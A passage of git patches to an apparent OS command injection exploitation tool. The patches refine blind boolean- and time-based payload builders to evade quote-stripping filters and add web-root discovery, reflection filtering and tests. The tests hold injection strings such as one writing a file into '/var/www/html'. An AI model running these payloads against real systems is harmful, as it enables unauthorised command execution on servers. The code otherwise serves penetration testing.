DocumentRootFromTheTarget(unittest.TestCase): """ Working the document root back from the directory the script says it runs in. From be55bf0d7cdc21a05500cb272fa3f194ba4efdbb Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 9 Nov 2026 08:37:49 +0200 Subject: [PATCH 0977/1023] Derived the URL path for consistent document root retrieval --- src/core/controller/checks.py | 19 +++++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 56f7aa0875..8609a3222b 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -7106,6 +7106,16 @@ def _ask_web_root_candidates(): settings.WEB_ROOT_CATEGORY_LABEL = "common location(s)" return common_roots +""" +What the URL puts between the document root and the script it names - the script's own name dropped, +since a directory URL has none and one that names a script is not part of the directory it sits in. + +Both routes below cut a root with this, one off a path the target leaked and one off the directory +it says it runs in, so it is worked out the same way for either rather than twice over. +""" +def url_path_below_web_root(url): + return re.sub(r"/[^/]*\Z", "", _urllib.parse.urlparse(url).path or "").rstrip("/") + """ Try to work out the web root from an absolute file path the target has already leaked somewhere in its own output - a PHP warning naming the script's own path is the most common way - checked @@ -7126,13 +7136,12 @@ def web_root_from_leaked_path(url): markers = ["/" + name + "/" for name in settings.GENERIC_DOC_ROOT_DIRECTORY_NAMES] if parsed.hostname: markers.append("/" + parsed.hostname + "/") - # What the URL puts between the root and the script, kept for the fallback below. - below = re.sub(r"/[^/]*\Z", "", parsed.path or "").rstrip("/") + below = url_path_below_web_root(url) for match in re.finditer(settings.DIRECTORY_REGEX, body or ""): path = match.group(0) # A leaked path is written the target's own way - a drive letter and backslashes on Windows. - # Read in one spelling and handed back in the other, so what is returned is a path that target + # Read in one spelling and handed back in the other, so what is returned is a path that the target # would recognise. native_separator = "\\" if "\\" in path else "/" drive = "" @@ -7190,9 +7199,7 @@ def web_root_from_target_cwd(url): return None native_separator = "\\" if "\\" in cwd else "/" cwd = cwd.replace("\\", "/").rstrip("/") - # What the URL puts between the document root and the script - the script's own name dropped, - # since a directory URL has none and one that names a script is not part of the path it sits in. - below = re.sub(r"/[^/]*\Z", "", _urllib.parse.urlparse(url).path or "").rstrip("/") + below = url_path_below_web_root(url) if below and not cwd.endswith(below): return None root = cwd[:len(cwd) - len(below)] if below else cwd diff --git a/src/utils/settings.py b/src/utils/settings.py index 35227f8246..b29f1f22f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "303" +REVISION = "304" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c62b2c77c084440ab198a2afeea302ad31dae77b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 10 Nov 2026 06:23:39 +0200 Subject: [PATCH 0978/1023] Trivial update --- doc/THANKS.md | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index 04b1af7ee5..02ac1a55ae 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -24,6 +24,7 @@ John Brinton · Joseph Disser · [Himself132](https://github.com/Him [fuero](https://github.com/fuero) · [g0tmi1k](https://github.com/g0tmi1k) · [Jean Helie](https://github.com/jhelie) · +[liangzaihuanyv](https://github.com/liangzaihuanyv) · [raeph123](https://github.com/raeph123) · [Raymond-JV](https://github.com/Raymond-JV) · [shelld3v](https://github.com/shelld3v) · diff --git a/src/utils/settings.py b/src/utils/settings.py index b29f1f22f9..17897853a0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "304" +REVISION = "305" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 00acb7f117109fed824327ebbdaf1febfe32da8b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 10 Nov 2026 06:34:15 +0200 Subject: [PATCH 0979/1023] Fixed several issues regarding the reporting of confirmed injection points, affecting the payloads shown for each technique --- src/core/controller/checks.py | 12 ++++++++++ src/utils/settings.py | 2 +- tests/test_checks.py | 43 +++++++++++++++++++++++++++++++++++ 3 files changed, 56 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 8609a3222b..f25cdcb2c9 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2037,6 +2037,18 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): payload = str(url_decode(payload)) for line in finding_summary_lines(technique, injection_type, payload): settings.print_data_to_stdout(line) + """ + Said under the payloads it explains, rather than only at '-v1'. + + Where the parameter's own value turns out not to be needed, it is dropped from every request built + after that point - so a payload found before it carries the real value and one found after carries + the short random one that stands in, and the two sit side by side here with nothing to say why + they differ. Read without this, the value looks like one more thing the techniques disagree on. + """ + if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE: + info_msg = "The parameter's own value was not required to reach the sink, so '" + info_msg += settings.TESTABLE_VALUE + "' stands in for it in the payload(s) above." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) target_fingerprint_summary() """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 17897853a0..8e6f46ef3d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "305" +REVISION = "306" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index bf455ca8a1..0b4c06cee2 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -382,6 +382,49 @@ def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): self.assertAlmostEqual(30.0, checks.current_delay_threshold(), places=2) +class SkippedValueIsAccountedFor(unittest.TestCase): + """ + What the summary says where the parameter's own value was dropped from later requests. + """ + def setUp(self): + self._flag = settings.TESTABLE_VALUE_OPTIMIZED + self._value = settings.TESTABLE_VALUE + self._points = settings.CONFIRMED_INJECTION_POINTS + self._out = settings.print_data_to_stdout + self.printed = [] + settings.print_data_to_stdout = lambda line: self.printed.append(line) + + def tearDown(self): + settings.TESTABLE_VALUE_OPTIMIZED = self._flag + settings.TESTABLE_VALUE = self._value + settings.CONFIRMED_INJECTION_POINTS = self._points + settings.print_data_to_stdout = self._out + + def summarise(self, optimized, value): + settings.TESTABLE_VALUE_OPTIMIZED = optimized + settings.TESTABLE_VALUE = value + settings.CONFIRMED_INJECTION_POINTS = [ + ("File-based", "Blind command injection", "addr", "JGX;echo T >/var/www/html/T.txt;", "GET", 63) + ] + original = checks.target_fingerprint_summary + checks.target_fingerprint_summary = lambda: None + try: + checks.confirmed_injection_points_summary() + finally: + checks.target_fingerprint_summary = original + return "\n".join(str(line) for line in self.printed) + + def test_the_stand_in_value_is_named(self): + output = self.summarise(True, "JGX") + self.assertIn("was not required", output) + self.assertIn("'JGX'", output) + + def test_nothing_is_said_where_the_real_value_was_used(self): + self.assertNotIn("was not required", self.summarise(False, "127.0.0.1")) + + def test_nothing_is_said_where_there_is_no_value_to_name(self): + self.assertNotIn("was not required", self.summarise(True, "")) + class DocumentRootFromALeakedPath(unittest.TestCase): """ Cutting a root out of an absolute path the target printed about itself. From 6f57141d544690c95a47546e1de452171e64dc4d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 11 Nov 2026 06:28:56 +0200 Subject: [PATCH 0980/1023] Fixed several issues regarding the payloads built for the boolean-based and time-based techniques, affecting targets that filter double quotes --- .../techniques/boolean_based/bb_payloads.py | 15 ++++++++--- src/core/techniques/time_based/tb_payloads.py | 18 ++++++------- src/utils/settings.py | 2 +- tests/test_payloads.py | 27 +++++++++++++++++++ 4 files changed, 49 insertions(+), 13 deletions(-) diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index d8fe65d5f4..33d40b0c19 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -108,8 +108,17 @@ def _piped_ordinal(word, num_of_chars): have needed two. """ def _var_chain(separator, word, qmarks): + """ + Assigned without quotes of its own, and stripped with them. + + An assignment is not field-split, so quoting what it is given changes nothing about the value it + holds - spaces, runs of spaces, a '*' and a newline all survive either way - and a '"' a filter + strips is one the payload need not have carried. The pattern below is the exception: unquoted, + the tail it takes off is read as a pattern rather than as the text it is, and a value carrying a + '*' loses more than the one character this is meant to leave behind. + """ var = settings.RANDOM_VAR_GENERATOR - return (var + "=\"" + word + "\"" + separator + + return (var + "=" + word + separator + var + "=\"${" + var + "#" + qmarks + "}\"" + separator + var + "=\"${" + var + "%\"${" + var + "#?}\"}\"" + separator) @@ -153,7 +162,7 @@ def decision(separator, TAG, output_length, holds=True): settings.SINGLE_WHITESPACE + expected, arithmetic=measured + "==" + expected) else: - payload = (separator + var + "=\"" + word + "\"" + separator + + payload = (separator + var + "=" + word + separator + _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected)) return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) @@ -184,7 +193,7 @@ def get_length(separator, cmd, candidate_length, operator="-eq"): arithmetic=measured + _ARITHMETIC[operator] + str(candidate_length)) else: # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. - payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + var + "=\"" + word + "\"" + separator + compare + payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + var + "=" + word + separator + compare return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) """ diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index b3c97f16d4..e1e4f4ab5b 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -373,7 +373,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): payload = (separator + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) @@ -384,7 +384,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + settings.BYTE_LOCALE_EXPORTED + "&&" + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) @@ -394,7 +394,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): payload = (ampersand + # The command the "&&" needs on its left, pinning while it is there. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + @@ -465,7 +465,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): payload = (separator + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) @@ -476,7 +476,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + settings.BYTE_LOCALE_EXPORTED + "&&" + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + "[ " + str(candidate_length) + " -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) @@ -486,7 +486,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): payload = (ampersand + # The command the "&&" needs on its left, pinning while it is there. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) @@ -571,7 +571,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Sliced in bytes, as the length beside it counts - exported, since a rewrite can move the counting into a command of its own. settings.BYTE_LOCALE_EXPORTED + separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_term + ")))" @@ -584,7 +584,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + settings.BYTE_LOCALE_EXPORTED + "&&" + - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + "&&" + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + var_ordinal_expr + " ]" + "&&" + @@ -597,7 +597,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # The command the "&&" needs on its left, pinning while it is there. settings.BYTE_LOCALE_EXPORTED + separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + # Perform the time-based comparisons diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e6f46ef3d..8148c7e1f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "306" +REVISION = "307" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_payloads.py b/tests/test_payloads.py index eb7078f9a3..7d32e2578f 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -77,6 +77,33 @@ def builders(): found.append((technique.split(".")[-1], name, function, parameters)) return found +class QuotesOnlyWhereTheyAreLoadBearing(unittest.TestCase): + """ + A '"' a filter strips is one the payload should not have carried without needing it. + """ + def setUp(self): + from src.core.techniques.boolean_based import bb_payloads + self.bb_payloads = bb_payloads + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_length_probe_carries_no_quote_at_all(self): + payload = self.bb_payloads.decision(";", "ABCDEF", 6) + self.assertNotIn('"', payload) + + def test_the_length_question_carries_no_quote_at_all(self): + payload = self.bb_payloads.get_length(";", "echo ABCDEF", 6) + self.assertNotIn('"', payload) + + def test_the_per_character_read_keeps_the_pattern_quoted(self): + # Unquoted, the tail it strips is read as a pattern - a value carrying '*' would lose more + # than the single character the chain is there to leave behind. + payload = self.bb_payloads.get_char(";", "echo ABCDEF", 2, 65) + self.assertIn('%"${', payload) + class PayloadSeparators(unittest.TestCase): """ A payload exists to prove that one separator chains commands at the sink, so that is the only one From bf4df5650442c495847a965205f5761bc5d2beb1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 11 Nov 2026 06:30:09 +0200 Subject: [PATCH 0981/1023] Fixed several issues regarding the filtering of reflected payloads and the parsing of `--ignore-code`, affecting the blind techniques against targets that echo the parameter value --- src/core/controller/checks.py | 57 +++++++++++++++++++++++++++++------ src/core/options.py | 13 ++++++-- src/utils/settings.py | 27 ++++++++++++++++- tests/test_checks.py | 52 ++++++++++++++++++++++++++++++++ tests/test_settings.py | 10 ++++++ 5 files changed, 145 insertions(+), 14 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index f25cdcb2c9..2071ee523b 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1698,19 +1698,56 @@ def process_page_content(response, action): raise SystemExit(settings.EXIT_FAILURE) """ -Ignore verbatim payload reflections so they cannot trigger a false positive. +The payload as a pattern that still matches what the target made of it. + +Its alphanumeric runs are kept as they are and whatever sat between them is left open, because that +is the part a target rewrites: a space arriving as '+', a character escaped on the way back, a +filter that upper-cased what it passed on. The runs themselves are what the payload is recognised +by. Nothing is built from a payload with no such run - an open pattern alone matches every page at +every position, and would take the page out rather than the reflection in it. +""" +def reflection_pattern(payload): + parts = [re.escape(part) for part in re.split(r"[^A-Za-z0-9]+", payload) if part] + if not parts: + return None + if len(parts) > settings.REFLECTED_MAX_PATTERN_PARTS: + half = settings.REFLECTED_MAX_PATTERN_PARTS // 2 + parts = parts[:half] + parts[-half:] + return settings.REFLECTED_GAP_REGEX.join(parts) + +""" +Ignore payload reflections so they cannot trigger a false positive. + +A page carrying the payload back differs from one that does not by the payload, whatever the command +did - so a technique reading an answer off two pages would be reading the reflection as well as the +answer. Taken out of both, and replaced by a marker rather than by what it replaces, so two payloads +of unequal length leave pages of equal length behind them. """ def remove_reflected_values(html_data, payload): - if not payload: + if not payload or not html_data: return html_data - decoded_payload = _urllib.parse.unquote(payload) - if decoded_payload and decoded_payload in html_data: - if not settings.REFLECTIVE_VALUE_FOUND: - settings.REFLECTIVE_VALUE_FOUND = True - warn_msg = "The response appears to reflect the target parameter value(s). Filtering reflected content." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - html_data = html_data.replace(decoded_payload, settings.SINGLE_WHITESPACE) - return html_data + decoded_payload = _urllib.parse.unquote_plus(payload) + filtered = html_data + # The payload exactly as it went out, which is the common case and costs one scan of the page. + if decoded_payload and decoded_payload in filtered: + filtered = filtered.replace(decoded_payload, settings.REFLECTED_VALUE_MARKER) + # Then the payload as the target may have rewritten it, which only a pattern can find. + if filtered == html_data: + pattern = reflection_pattern(decoded_payload) + if pattern: + # Taken only where what matched is the length of a reflection rather than of a paragraph. + cap = len(decoded_payload) * settings.REFLECTED_MAX_LENGTH_FACTOR + settings.REFLECTED_LENGTH_ALLOWANCE + def _bounded(match): + return settings.REFLECTED_VALUE_MARKER if len(match.group(0)) <= cap else match.group(0) + try: + filtered = re.sub("(?i)" + pattern, _bounded, filtered) + except Exception: + filtered = html_data + if filtered != html_data and not settings.REFLECTIVE_VALUE_FOUND: + settings.REFLECTIVE_VALUE_FOUND = True + warn_msg = "The response appears to reflect the target parameter value(s). Filtering reflected content." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return filtered """ Returns header value ignoring the letter case diff --git a/src/core/options.py b/src/core/options.py index 29cc315a24..7cb4a9e90b 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -273,13 +273,20 @@ def validate(): # Check if defined "--ignore-code" option. if menu.options.ignore_code: + wildcard = menu.options.ignore_code.strip() == settings.IGNORE_CODE_WILDCARD try: - settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + settings.IGNORE_CODE = list(range(0, 1000)) if wildcard else [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + # Said as the wildcard it was given as - the thousand codes it stands for are not a list + # anybody asked to read. + if wildcard: + debug_msg = "Ignoring every HTTP error code." + else: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except ValueError: - err_msg = "The option '--ignore-code' should contain a list of integer values." + err_msg = "The option '--ignore-code' should contain a list of integer values, or '" + err_msg += settings.IGNORE_CODE_WILDCARD + "' for every code." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8148c7e1f9..fffbe8e2e1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "307" +REVISION = "308" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -857,6 +857,27 @@ class OS(object): # One-time "reflected value(s) found" notice already shown this run. REFLECTIVE_VALUE_FOUND = False +# What stands in for a reflected payload once it is taken out of a page - a marker of its own rather +# than the text it replaces, so two pages whose payloads differ in length still read as one page +# where the reflection was the only thing telling them apart. +REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" + +# A run of anything but a newline, standing in for whatever the target put between the payload's own +# alphanumeric runs: a '+' where a space went in, an entity for a character it escaped, a space of +# another width. The payload that comes back is rarely the payload that went out. +REFLECTED_GAP_REGEX = r"[^\n]{1,168}?" + +# How many of those runs the pattern is built from, taken half from each end past it - one segment +# per run leaves a pattern with a page's worth of positions to try for every one of them. +REFLECTED_MAX_PATTERN_PARTS = 10 + +# How much longer than the payload a match may be before it is left alone. A payload's own +# alphanumeric runs are words a page says for itself - the value that was sent back, 'echo', a tag - +# and a pattern made of them matches those scattered across unrelated text as readily as the +# reflection. Escaping stretches a reflection; it does not stretch it into paragraphs. +REFLECTED_MAX_LENGTH_FACTOR = 4 +REFLECTED_LENGTH_ALLOWANCE = 32 + # Whether the caveat about an evaluated finding that a shell could equally explain has been given. EVAL_OVER_SHELL_SAID = False @@ -2968,6 +2989,10 @@ class END_LINE: # Ignore on (problematic) HTTP error code (e.g. 401). IGNORE_CODE = [] + +# What '--ignore-code' is given to mean every code rather than a list of them - a target answering +# with a different error for each of several reasons is one nobody wants to enumerate by hand. +IGNORE_CODE_WILDCARD = "*" # HTTP error codes already warned about, kept apart from what the user chose to ignore. WARNED_HTTP_ERROR_CODES = set() diff --git a/tests/test_checks.py b/tests/test_checks.py index 0b4c06cee2..74039d62aa 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -425,6 +425,58 @@ def test_nothing_is_said_where_the_real_value_was_used(self): def test_nothing_is_said_where_there_is_no_value_to_name(self): self.assertNotIn("was not required", self.summarise(True, "")) +class ReflectionsTheTargetRewrote(unittest.TestCase): + """ + Taking the payload back out of a page that did not hand it back verbatim. + """ + PAYLOAD = "127.0.0.1;echo ABCDEF" + + def setUp(self): + self._found = settings.REFLECTIVE_VALUE_FOUND + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *a, **k: None + + def tearDown(self): + settings.REFLECTIVE_VALUE_FOUND = self._found + settings.print_data_to_stdout = self._out + + def filtered(self, page, payload=None): + settings.REFLECTIVE_VALUE_FOUND = False + return checks.remove_reflected_values(page, payload or self.PAYLOAD) + + def test_the_payload_as_it_went_out(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a <b>127.0.0.1;echo ABCDEF</b> z")) + + def test_a_space_that_came_back_as_a_plus(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a <b>127.0.0.1;echo+ABCDEF</b> z")) + + def test_a_command_the_target_upper_cased(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a <b>127.0.0.1;ECHO ABCDEF</b> z")) + + def test_a_space_of_another_width(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a <b>127.0.0.1;echo\xa0ABCDEF</b> z")) + + def test_runs_scattered_through_unrelated_text_are_left_alone(self): + # The payload's own runs are words a page says for itself - the value sent back, 'echo', a tag. + page = "host 127.0.0.1 is up. " + "x" * 60 + " please echo this. " + "y" * 40 + " ABCDEF is the code." + self.assertEqual(page, self.filtered(page)) + + def test_a_page_without_the_payload_is_untouched(self): + page = "nothing of the sort here" + self.assertEqual(page, self.filtered(page)) + + def test_a_payload_of_punctuation_alone_builds_no_pattern(self): + # An open pattern with no run to anchor it would match at every position of every page. + self.assertIsNone(checks.reflection_pattern(";|&")) + page = "a perfectly ordinary page" + self.assertEqual(page, self.filtered(page, ";|&")) + + def test_the_marker_is_the_same_length_whatever_the_payload(self): + short = self.filtered("x 127.0.0.1;echo ABCDEF y") + long_payload = "127.0.0.1;echo ABCDEFGHIJKLMNOP" + longer = self.filtered("x " + long_payload + " y", long_payload) + self.assertEqual(len(short), len(longer)) + class DocumentRootFromALeakedPath(unittest.TestCase): """ Cutting a root out of an absolute path the target printed about itself. diff --git a/tests/test_settings.py b/tests/test_settings.py index 21a6dc14fb..96b62aca99 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -19,6 +19,16 @@ from tests._testutils import tamper_modules from src.utils import settings +class IgnoreCodeWildcard(unittest.TestCase): + """ + What '--ignore-code' is given to mean every code rather than a list of them. + """ + def test_the_wildcard_is_one_character(self): + self.assertEqual("*", settings.IGNORE_CODE_WILDCARD) + + def test_it_is_not_a_code_any_list_could_hold(self): + self.assertFalse(settings.IGNORE_CODE_WILDCARD.isdigit()) + class TamperTables(unittest.TestCase): """ Every table that names a tamper script has to name one that exists, or the run reaches for a From b7684d6020fe76b5d3a7a8fec30b640837948350 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 11 Nov 2026 06:31:20 +0200 Subject: [PATCH 0982/1023] Fixed several issues regarding the parsing of the option `--param-del`, affecting a delimiter given as an escape sequence --- src/core/controller/checks.py | 18 ++++++++++++++++++ src/core/options.py | 6 ++++++ src/utils/settings.py | 2 +- tests/test_checks.py | 23 +++++++++++++++++++++++ 4 files changed, 48 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 2071ee523b..1617d6365e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1715,6 +1715,24 @@ def reflection_pattern(payload): parts = parts[:half] + parts[-half:] return settings.REFLECTED_GAP_REGEX.join(parts) +""" +A value given as an escape, as the character it stands for. + +A newline or a tab cannot be put into an option on most shells without the shell eating it first, so +it is written "\\n" - two characters, which no request data holds, leaving the delimiter unused and +the parameters it was meant to split reported as absent instead. + +Read left to right in one pass, so an escaped backslash shields what follows rather than being +decoded a second time, and with nothing but the whitespace escapes in the mapping: a NUL or a +non-ASCII byte in a value is the byte it is, not an escape to be rewritten. +""" +def decode_string_escape(value): + if not value or "\\" not in value: + return value + mapping = dict((repr(_).strip("'"), _) for _ in string.whitespace.replace(settings.SINGLE_WHITESPACE, "")) + mapping["\\\\"] = "\\" + return re.sub("|".join(re.escape(_) for _ in ["\\\\"] + list(mapping)), lambda match: mapping[match.group(0)], value) + """ Ignore payload reflections so they cannot trigger a false positive. diff --git a/src/core/options.py b/src/core/options.py index 7cb4a9e90b..8da6a73367 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -271,6 +271,12 @@ def validate(): if menu.options.retry_on and settings.ABORT_CODE: settings.ABORT_CODE = [] + # A delimiter is written as an escape where the shell would otherwise eat the character itself, so + # what arrives is two characters that no request data holds - leaving 